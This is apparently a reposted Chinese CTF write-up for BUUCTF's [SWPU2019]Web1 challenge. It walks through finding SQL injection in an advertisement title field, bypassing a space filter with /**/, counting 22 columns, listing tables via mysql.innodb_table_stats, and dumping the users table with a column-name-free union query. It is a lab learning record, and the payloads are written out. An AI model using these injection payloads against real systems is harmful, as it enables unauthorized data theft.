buuctf [SWPU2019]Web1 记录

为君一笑 提交于 2020-03-12 06:28:51

注册进去发现可以发广告,这种格式不是sql注入就是xss漏洞。
在这里插入图片描述
在这里插入图片描述
可以发现是存在的。后面用beef发现没用,并不是窃取cookie信息来登录后台

试试sql注入
在标题上进行判断
在这里插入图片描述
可以发现标题存在sql注入,往后面试,发现%23和--+ 不能闭合。
我们可以在后面加上别的
在这里插入图片描述
可以发现,上图''1'' 和这边的'322' 1’是我们输入的内容。
在这里插入图片描述
多加个单引号构造"1"'让语句闭合
在这里插入图片描述
进行联合查询的时候发现过滤了空格
在这里插入图片描述
可以用/**/绕过(之前试试了括号但觉得好奇怪,不理解为什么报错)

1'/**/union/**/select/**/1,2,3/**/'

在这里插入图片描述
往后面一直加,发现加到22列

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述
发现2,3那可查
查询库名的时候发现被过滤了,
在这里插入图片描述
可能是from和information被过滤了,查资料 (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)
学到一个新姿势,mysql.innodb_table_stats查询表名
还可用sys.schema_auto_increment_columns
/****

(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,22/**/'

*****/
上面方法行不通做个记录吧

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述
查询到了表名,接下来可以无列名查询
可参考该链接

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

疑问:为什么我用a代替b的时候他说a这个列不存在。。。。不明白。

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!